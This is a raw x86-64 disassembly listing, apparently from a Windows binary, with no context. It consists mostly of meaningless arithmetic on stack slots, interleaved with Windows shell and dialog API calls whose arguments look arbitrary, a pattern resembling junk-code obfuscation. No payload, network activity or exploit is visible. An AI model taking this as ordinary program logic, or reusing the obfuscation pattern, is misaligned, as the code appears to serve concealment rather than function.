mov rax, qword [rsp + 0xe448]
movzx eax, word [rax]
mov word [rsp + 0x2eb0], ax
mov rax, qword [rsp + 0xdfe8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ef8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x93b0], rax
mov rax, qword [rsp + 0xda88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6df0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7010], eax
mov rax, qword [rsp + 0xd1e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x96b0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc4c8], rax
mov rax, qword [rsp + 0xe450]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe960]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xd158]
mov byte [rcx], al
mov rax, qword [rsp + 0xd5f0]
movzx eax, word [rax]
mov word [rsp + 0x2eb4], ax
mov rax, qword [rsp + 0xc248]
mov rcx, qword [rsp + 0xceb8]
mov qword [rsp + 0xea08], rcx
movzx ecx, al
mov rax, qword [rsp + 0xea08]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [0x14019f0d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd480]
mov ecx, dword [rsp + 0x592c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6dbc], eax
mov rax, qword [rsp + 0xde68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x527]
add eax, ecx
mov byte [rsp + 0x534], al
movzx eax, word [rsp + 0x2ab4]
mov word [rsp + 0x2eb8], ax
mov dword [rsp + 0x20], 0x26
lea r9, [rsp + 0x6c58]
mov r8, qword [rsp + 0xdbf8]
mov rdx, qword [rsp + 0xd1b0]
mov rcx, qword [rsp + 0xea10]
call qword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [rsp + 0x6bb8], eax
mov rax, qword [rsp + 0xe458]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe318]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2e7c], ax
mov rax, qword [rsp + 0xe7f8]
mov rcx, qword [0x14019f290]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc210], rax
movsx eax, byte [rsp + 0x55b]
movsx ecx, byte [rsp + 0x1fa]
add eax, ecx
mov byte [rsp + 0x252], al
xor edx, edx
mov rax, qword [rsp + 0xdd50]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xdff0]
div dword [rcx]
mov dword [rsp + 0x58c8], eax
movzx eax, word [rsp + 0x2eac]
mov word [rsp + 0x2ebc], ax
movzx eax, word [rsp + 0xcc8]
movzx ecx, word [rsp + 0x1bb0]
and eax, ecx
mov rcx, qword [0x14019f060]
mov word [rcx], ax
mov rax, qword [0x14019f050]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe858]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xdd30]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd2a0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc130]
sar rax, cl
mov qword [rsp + 0xa760], rax
mov rax, qword [rsp + 0xd298]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd7a8]
mov qword [rsp + 0xea18], rcx
movzx ecx, al
mov rax, qword [rsp + 0xea18]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc338], rax
lea rcx, [rsp + 0xd268]
call qword [sym.imp.SHELL32.dll_ILGetNext]
mov qword [rsp + 0xe028], rax
mov rax, qword [rsp + 0xd188]
movzx eax, word [rax]
mov word [rsp + 0x2ec0], ax
mov rax, qword [rsp + 0xdf38]
mov rcx, qword [rsp + 0x9a78]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xbfa0], rax
mov r8w, reloc.SHELL32.dll_SHDoDragDrop
mov rdx, qword [rsp + 0xdf60]
mov rcx, qword [rsp + 0xea20]
call qword [sym.imp.COMDLG32.dll_GetFileTitleW]
mov word [rsp + 0x2a30], ax
mov rax, qword [rsp + 0xd0d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6e14]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcfb0]
mov dword [rcx], eax
lea rax, [rsp + 0x2f4]
mov qword [rsp + 0xea28], rax
mov rax, qword [rsp + 0xdb30]
mov ecx, dword [rsp + 0x6d30]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6d58], eax
mov dword [rsp + 0x20], 0x8d
lea r9, [rsp + 0x23110]
mov r8, qword [rsp + 0xea30]
mov rdx, qword [rsp + 0xe4e0]
mov rcx, qword [rsp + 0xe4e0]
call qword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [rsp + 0x6c38], eax
lea rax, [rsp + 0x14f]
mov qword [rsp + 0xea38], rax
mov rax, qword [rsp + 0xe598]
movzx eax, word [rax]
mov word [0x14019f43c], ax
movzx eax, word [0x14019d0e0]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xd7a0]
mov word [rcx], ax
movzx eax, word [rsp + 0x2eb4]
mov rcx, qword [rsp + 0xd700]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2e14], ax
mov rax, qword [0x14019f150]
mov rax, qword [rax]
mov qword [rsp + 0xea40], rax
movsx eax, byte [rsp + 0x445]
movsx ecx, byte [rsp + 0x259]
or eax, ecx
mov byte [rsp + 0x55b], al
mov rax, qword [rsp + 0xe388]
mov rcx, qword [rsp + 0xda48]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xafc0], rax
mov rax, qword [0x14019f158]
mov rcx, qword [rsp + 0xe6e8]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x6b68], eax
mov rax, qword [rsp + 0xe968]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2ab4]
add eax, ecx
mov word [rsp + 0x2b00], ax
lea rdx, [rsp + 0x1efc0]
lea rcx, [rsp + 0xcdf8]
call qword [sym.imp.SHELL32.dll_ILIsEqual]
mov dword [rsp + 0x6fac], eax
movzx eax, word [rsp + 0x2d74]
mov word [rsp + 0x2ec4], ax
mov rax, qword [rsp + 0xba80]
mov rcx, qword [0x14019d0c0]
and rcx, rax
mov rax, rcx
mov qword [0x14019d190], rax
mov rax, qword [rsp + 0xe730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e10]
xor eax, ecx
mov word [rsp + 0x2aa0], ax
mov rax, qword [rsp + 0xe8b0]
mov rcx, qword [0x14019f118]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb558], rax
mov rax, qword [rsp + 0xde88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe378]
mov qword [rsp + 0xea48], rcx
movzx ecx, al
mov rax, qword [rsp + 0xea48]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xe3a0], rax
mov rax, qword [rsp + 0xe2f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x564]
shl eax, cl
mov byte [rsp + 0x4ea], al
mov rax, qword [rsp + 0xd608]
mov rax, qword [rax]
mov qword [rsp + 0xea50], rax
mov rax, qword [rsp + 0xe9a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x553]
sub eax, ecx
mov byte [rsp + 0x534], al
lea rax, [rsp + 0x5e88]
mov qword [rsp + 0xea58], rax
mov rax, qword [rsp + 0xda88]
mov eax, dword [rax]
mov ecx, dword [0x14019f2cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6e08], eax
mov rax, qword [rsp + 0xe1b0]
movzx eax, word [rax]
mov word [0x14019f440], ax
movsx eax, word [rsp + 0xfd8]
mov rcx, qword [rsp + 0xdc40]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2768], ax
mov rax, qword [rsp + 0xdb00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdd28]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xe318]
mov word [rcx], ax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2cb4]
shl eax, cl
mov word [rsp + 0x2b14], ax
mov rax, qword [rsp + 0xd218]
movzx eax, byte [rax]
mov byte [rsp + 0x57e], al
mov rax, qword [rsp + 0xe1a8]
mov rcx, qword [rsp + 0xdd88]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6f50], eax
mov rax, qword [rsp + 0xa410]
mov qword [rsp + 0xea60], rax
movsx eax, word [rsp + 0x2c00]
movsx ecx, word [rsp + 0x2bf4]
add eax, ecx
mov word [rsp + 0x2d80], ax
movzx eax, word [rsp + 0x2d18]
movzx ecx, word [rsp + 0x2c88]
sub eax, ecx
mov word [rsp + 0x24d4], ax
lea rax, [rsp + 0xdef8]
mov qword [0x14019f448], rax
lea rax, [rsp + 0xe390]
mov qword [rsp + 0xea68], rax
mov rax, qword [rsp + 0xe2f0]
mov rcx, qword [0x14019f1b8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd298]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa648]
mov rcx, qword [rsp + 0xd3a8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb7e0], rax
mov rax, qword [rsp + 0xd8a0]
movzx eax, word [rax]
movzx ecx, word [0x14019d02c]
shl eax, cl
mov word [rsp + 0x2e3c], ax
mov rax, qword [rsp + 0xda28]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6dd0]
sar eax, cl
mov dword [rsp + 0x6964], eax
mov rax, qword [rsp + 0xd550]
movzx eax, byte [rax]
mov byte [rsp + 0x57f], al
mov rax, qword [rsp + 0xdb10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd400]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xbfa0], rax
mov rax, qword [rsp + 0xe1d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3d1]
sub eax, ecx
mov byte [rsp + 0x3f1], al
mov rax, qword [rsp + 0xdfa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6740]
add ecx, eax
mov eax, ecx
mov dword [0x14019d1dc], eax
mov rax, qword [rsp + 0xd258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe220]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2c24], ax
movzx eax, word [rsp + 0x2aa4]
mov word [rsp + 0x2ec8], ax
mov rax, qword [rsp + 0xe318]
movzx eax, word [rax]
movzx ecx, word [0x14019d188]
sub eax, ecx
mov word [rsp + 0x1eb4], ax
lea rcx, [rsp + 0x200e0]
call qword [sym.imp.COMDLG32.dll_PageSetupDlgW]
mov dword [rsp + 0x6f04], eax
mov rax, qword [rsp + 0xd408]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd2a0]
mov qword [rsp + 0xea70], rcx
movzx ecx, al
mov rax, qword [rsp + 0xea70]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xe8b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd3d8]
mov eax, dword [rax]
mov dword [rsp + 0x702c], eax
movsx eax, byte [rsp + 0x52a]
movsx ecx, byte [rsp + 0x567]
or eax, ecx
mov byte [rsp + 0x4f4], al
lea rax, [rsp + 0x9538]
mov qword [rsp + 0xea78], rax
mov rax, qword [rsp + 0xe558]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b78]
shl eax, cl
mov word [rsp + 0x2e30], ax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe318]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019d1ec], ax
mov rax, qword [rsp + 0xe8b0]
mov rcx, qword [rsp + 0xe320]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xdc38], rax
mov rax, qword [rsp + 0xd4e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1adc]
xor eax, ecx
mov word [rsp + 0x2604], ax
mov rax, qword [rsp + 0xd0f8]
mov ecx, dword [rsp + 0x5ac4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xe550]
mov dword [rcx], eax
mov rax, qword [rsp + 0xde68]
movzx eax, byte [rax]
mov byte [rsp + 0x580], al
mov rax, qword [rsp + 0xd438]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd218]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x53b], al
mov rax, qword [rsp + 0xd118]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x58c8]
shl eax, cl
mov dword [rsp + 0x6e1c], eax
mov rax, qword [rsp + 0xd570]
mov rcx, qword [rsp + 0xddd8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc708], rax
movsx eax, word [0x14019f338]
mov rcx, qword [rsp + 0xe448]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2e68], ax
mov rax, qword [rsp + 0xe2a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f3c]
sub eax, ecx
mov word [0x14019d248], ax
lea rax, [rsp + 0xd638]
mov qword [rsp + 0xea80], rax
mov rax, qword [rsp + 0xe4b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe150]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xdfc0], rax
movsx eax, word [rsp + 0x2ab4]
movsx ecx, word [rsp + 0x1714]
add eax, ecx
mov word [rsp + 0x2a64], ax
mov rax, qword [rsp + 0xda50]
movzx eax, word [rax]
mov word [rsp + 0x2ecc], ax
mov rax, qword [0x14019f0f8]
mov rcx, qword [rsp + 0xe010]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xbb48], rax
mov eax, dword [rsp + 0x5a10]
mov dword [rsp + 0x7030], eax
lea rcx, [rsp + 0xd3c0]
call qword [sym.imp.SHELL32.dll_ILGetNext]
mov qword [rsp + 0xea88], rax
movsx eax, byte [rsp + 0x148]
mov rcx, qword [rsp + 0xd180]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xd158]
mov byte [rcx], al
mov rax, qword [rsp + 0xdac8]
mov rcx, qword [rsp + 0xdfe8]
mov qword [rsp + 0xea90], rcx
movzx ecx, al
mov rax, qword [rsp + 0xea90]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa160], rax
mov rax, qword [rsp + 0xe6a0]
movzx eax, word [rax]
mov word [0x14019f450], ax
mov rax, qword [rsp + 0xd888]
movzx eax, word [rax]
movzx ecx, word [0x14019f170]
xor eax, ecx
mov word [rsp + 0x2afc], ax
movzx eax, byte [rsp + 0x4de]
mov rcx, qword [rsp + 0xdc50]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xd1a0]
mov byte [rcx], al
mov rax, qword [rsp + 0xd150]
mov eax, dword [rax]
mov dword [rsp + 0x7034], eax
mov rax, qword [rsp + 0xdd90]
mov rcx, qword [rsp + 0xd320]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xe3f0]
mov qword [rcx], rax
lea rax, [rsp + 0x702c]
mov qword [rsp + 0xea98], rax
movsx eax, byte [rsp + 0x529]
movsx ecx, byte [rsp + 0x346]
sub eax, ecx
mov byte [rsp + 0x392], al
mov rax, qword [rsp + 0xe010]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9c30]
shr rax, cl
mov qword [rsp + 0xe478], rax
movsx eax, word [rsp + 0x2e78]
movsx ecx, word [rsp + 0xc28]
or eax, ecx
mov word [rsp + 0x24b8], ax
movzx eax, word [rsp + 0x2e04]
mov rcx, qword [0x14019f230]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x14019f078], ax
mov rax, qword [rsp + 0xea80]
mov rcx, qword [rsp + 0xe320]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xe238], rax
mov rax, qword [rsp + 0xdbf0]
movzx eax, word [rax]
mov word [rsp + 0x2ed0], ax
movsx eax, word [rsp + 0x2bd0]
mov rcx, qword [rsp + 0xd928]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2acc], ax
mov rax, qword [rsp + 0x9198]
mov rcx, qword [rsp + 0xdec8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xe0e8], rax
mov eax, dword [rsp + 0x6e84]
mov dword [rsp + 0x7038], eax
mov rax, qword [rsp + 0xd0e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd358]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xe1c0], rax
mov rax, qword [rsp + 0xe3c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xce70]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x144], al
movzx eax, word [rsp + 0x2d18]
movzx ecx, word [rsp + 0x2c90]
sar eax, cl
mov word [rsp + 0x2c44], ax
mov rax, qword [rsp + 0xe8f0]
mov rax, qword [rax]
mov rcx, qword [0x14019f030]
mov qword [rsp + 0xeaa0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xeaa0]
mov rax, qword [rax]
shl rax, cl
mov qword [0x14019d250], rax
movzx eax, byte [rsp + 0x504]
movzx ecx, byte [rsp + 0x47f]
and eax, ecx
mov byte [rsp + 0x514], al
mov rax, qword [rsp + 0xdb30]
mov eax, dword [rax]
mov dword [rsp + 0x703c], eax
mov rax, qword [rsp + 0xdf90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe968]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2e6c], ax
movzx eax, word [rsp + 0x2c38]
mov rcx, qword [rsp + 0xdb00]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xdec], ax
mov rax, qword [rsp + 0xdbd8]
mov rcx, qword [rsp + 0xdd88]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x6d48], eax
lea rax, [rsp + 0xdc00]
mov qword [rsp + 0xeaa8], rax
mov rax, qword [rsp + 0xd2c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe1d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x32c], al
movsx eax, word [rsp + 0x2b38]
movsx ecx, word [rsp + 0x2bb0]
sub eax, ecx
mov rcx, qword [rsp + 0xd928]
mov word [rcx], ax
mov rax, qword [rsp + 0xd700]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd7f0]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14019d0c8], ax
mov rax, qword [rsp + 0xdd30]
mov rax, qword [rax]
mov qword [rsp + 0xeab0], rax
mov rax, qword [rsp + 0xd2b0]
mov rcx, qword [0x14019f048]
mov qword [rsp + 0xeab8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xeab8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xe830], rax
mov rax, qword [rsp + 0xdc38]
mov rcx, qword [rsp + 0xdb98]
mov qword [rsp + 0xeac0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xeac0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xcd20], rax
mov rax, qword [rsp + 0xd7d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe968]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1e7c], ax
mov rax, qword [rsp + 0xd2c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4f5]
add eax, ecx
mov rcx, qword [rsp + 0xdd70]
mov byte [rcx], al
lea rax, [rsp + 0xc330]
mov qword [rsp + 0xeac8], rax
mov rax, qword [rsp + 0xdff0]
mov ecx, dword [rsp + 0x6c24]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6ea8], eax
movzx eax, byte [rsp + 0x4fc]
mov byte [rsp + 0x581], al
mov rax, qword [rsp + 0xe198]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5f5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f3c], eax
movsx eax, word [rsp + 0x2da0]
mov rcx, qword [rsp + 0xde08]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14019f338], ax
movzx eax, word [rsp + 0x17c4]
movzx ecx, word [rsp + 0x2b60]
and eax, ecx
mov word [rsp + 0x2b24], ax
lea rax, [rsp + 0xdec]
mov qword [rsp + 0xead0], rax
mov rax, qword [rsp + 0xd548]
mov rax, qword [rax]
mov rcx, qword [0x14019d050]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xe648], rax
mov eax, dword [rsp + 0x69f4]
mov dword [rsp + 0x7040], eax
mov rax, qword [rsp + 0xe600]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe2f8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x57e], al
mov rax, qword [rsp + 0xe7d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9f98]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc9b8], rax
lea rdx, [rsp + 0x1e880]
lea rcx, [rsp + 0x1e880]
call qword [sym.imp.SHELL32.dll_ILIsEqual]
mov dword [rsp + 0x6f80], eax
movsx eax, word [rsp + 0x2de8]
movsx ecx, word [rsp + 0x196c]
shl eax, cl
mov word [rsp + 0x1750], ax
mov rax, qword [rsp + 0xd910]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e7c]
sub eax, ecx
mov rcx, qword [rsp + 0xcfb8]
mov word [rcx], ax
mov rax, qword [rsp + 0xd720]
mov rax, qword [rax]
mov qword [0x14019f458], rax
mov rax, qword [rsp + 0xddc0]
movzx eax, word [rax]
mov word [rsp + 0x2ed4], ax
mov rax, qword [rsp + 0xe9e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xea80]
mov qword [rsp + 0xead8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xead8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x90b0], rax
mov rax, qword [rsp + 0xe868]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe7a8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xbf38], rax
mov rax, qword [rsp + 0xd340]
mov rcx, qword [rsp + 0xdea8]
mov qword [rsp + 0xeae0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xeae0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xdaa0], rax
mov rax, qword [rsp + 0xe1a8]
mov ecx, dword [0x14019efb0]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x6e78], eax
mov rax, qword [rsp + 0xe9a8]
movzx eax, byte [rax]
mov byte [rsp + 0x582], al
mov rax, qword [rsp + 0xdb30]
mov rcx, qword [rsp + 0xe198]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x61cc], eax
movzx eax, byte [0x14019d011]
mov byte [rsp + 0x583], al
lea r9, [rsp + 0x21410]
lea r8, [rsp + 0x6cb8]
lea rdx, [rsp + 0xdb80]
mov rcx, qword [rsp + 0xdde0]
call qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExW]
mov dword [rsp + 0x6f04], eax
mov rax, qword [rsp + 0xddb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c00]
sub eax, ecx
mov word [0x14019d258], ax
movsx eax, word [rsp + 0x2a34]
mov rcx, qword [rsp + 0xe828]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd928]
mov word [rcx], ax
mov rax, qword [rsp + 0xd8a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd8c8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xcc8], ax
movzx eax, word [rsp + 0x2bd4]
movzx ecx, word [rsp + 0x17d4]
xor eax, ecx
mov word [rsp + 0x1da8], ax
mov rax, qword [rsp + 0xe078]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14019f2a0]
shr rax, cl
mov qword [rsp + 0xe5d0], rax
lea rax, [rsp + 0x488]
mov qword [rsp + 0xeae8], rax
mov rax, qword [rsp + 0xd3d8]
mov rcx, qword [rsp + 0xcfb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xea98]
mov dword [rcx], eax
movsx eax, word [0x14019f2b8]
mov rcx, qword [rsp + 0xd878]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xd398]
mov word [rcx], ax
mov rax, qword [rsp + 0xddc0]
movzx eax, word [rax]
mov word [rsp + 0x2ed8], ax
mov rax, qword [rsp + 0xe8b0]
mov rcx, qword [rsp + 0xd680]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14019d130], rax
mov rax, qword [rsp + 0xe3a8]
mov rcx, qword [rsp + 0xdfa0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9d78], rax
mov rax, qword [rsp + 0xd6d0]
mov rcx, qword [rsp + 0x9810]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc5c8], rax
mov rax, qword [rsp + 0xe150]
mov rcx, qword [rsp + 0xe6d8]
mov qword [rsp + 0xeaf0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xeaf0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xe378]
mov qword [rcx], rax
movzx eax, word [rsp + 0x17c4]
mov word [rsp + 0x2edc], ax
mov rax, qword [rsp + 0xea38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe420]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x42], al
mov rax, qword [rsp + 0xea58]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xdd60]
mov qword [rsp + 0xeaf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xeaf8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x59f0], eax
mov rax, qword [rsp + 0xd3d8]
mov eax, dword [rax]
mov dword [rsp + 0x7044], eax
mov rax, qword [rsp + 0xd4f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe470]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xe358], rax
mov rax, qword [0x14019f198]
movzx eax, byte [rax]
mov byte [0x14019ef9c], al
movsx eax, word [rsp + 0x2d6c]
mov rcx, qword [rsp + 0xdf90]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1624], ax
movsx eax, word [rsp + 0x2a84]
movsx ecx, word [rsp + 0x2e4c]
and eax, ecx
mov rcx, qword [rsp + 0xe148]
mov word [rcx], ax
movzx eax, word [rsp + 0x1c08]
mov rcx, qword [rsp + 0xd630]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xd700]
mov word [rcx], ax
mov rax, qword [rsp + 0xde60]
mov qword [rsp + 0xeb00], rax
mov rax, qword [rsp + 0xea98]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6f08]
shr eax, cl
mov dword [rsp + 0x6098], eax
movsx eax, byte [rsp + 0x22a]
mov rcx, qword [rsp + 0xd628]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x18b], al
mov rax, qword [rsp + 0xbc48]
mov rcx, qword [rsp + 0xaa30]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xe490], rax
movsx eax, word [rsp + 0x1048]
mov rcx, qword [rsp + 0xdb70]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2bfc], ax
mov rax, qword [rsp + 0xd160]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xddc0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019f18c], ax
mov rax, qword [rsp + 0xd918]
mov rax, qword [rax]
mov qword [rsp + 0xeb08], rax
mov rax, qword [0x14019f3c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe2a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2e74], ax
mov rax, qword [rsp + 0xdbc8]
mov ecx, dword [rsp + 0x6458]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x59a4], eax
movzx eax, byte [rsp + 0x548]
movzx ecx, byte [rsp + 0x15a]
or eax, ecx
mov rcx, qword [rsp + 0xe6d0]
mov byte [rcx], al
mov rax, qword [rsp + 0xe8f8]
movzx eax, byte [rax]
mov byte [rsp + 0x584], al
mov eax, dword [rsp + 0x6e28]
mov rcx, qword [rsp + 0xdd88]
mov qword [rsp + 0xeb10], rcx
movzx ecx, al
mov rax, qword [rsp + 0xeb10]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6eec], eax
mov rax, qword [rsp + 0xd608]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14019d1b0]
shl rax, cl
mov qword [rsp + 0xad08], rax
mov rax, qword [rsp + 0xd0b0]
movzx eax, word [rax]
mov word [rsp + 0x2ee0], ax
mov rax, qword [rsp + 0xd910]
movzx eax, word [rax]
mov word [0x14019f460], ax
mov rax, qword [0x14019f150]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd288]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa648], rax
mov rax, qword [rsp + 0xd590]
mov rcx, qword [rsp + 0xad58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9310], rax
movsx eax, word [rsp + 0x2760]
movsx ecx, word [rsp + 0x210c]
and eax, ecx
mov word [rsp + 0x2b40], ax
movzx eax, word [0x14019d188]
mov rcx, qword [rsp + 0xd620]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2604], ax
lea rax, [rsp + 0x4e5]
mov qword [rsp + 0xeb18], rax
mov rax, qword [rsp + 0xda70]
mov eax, dword [rax]
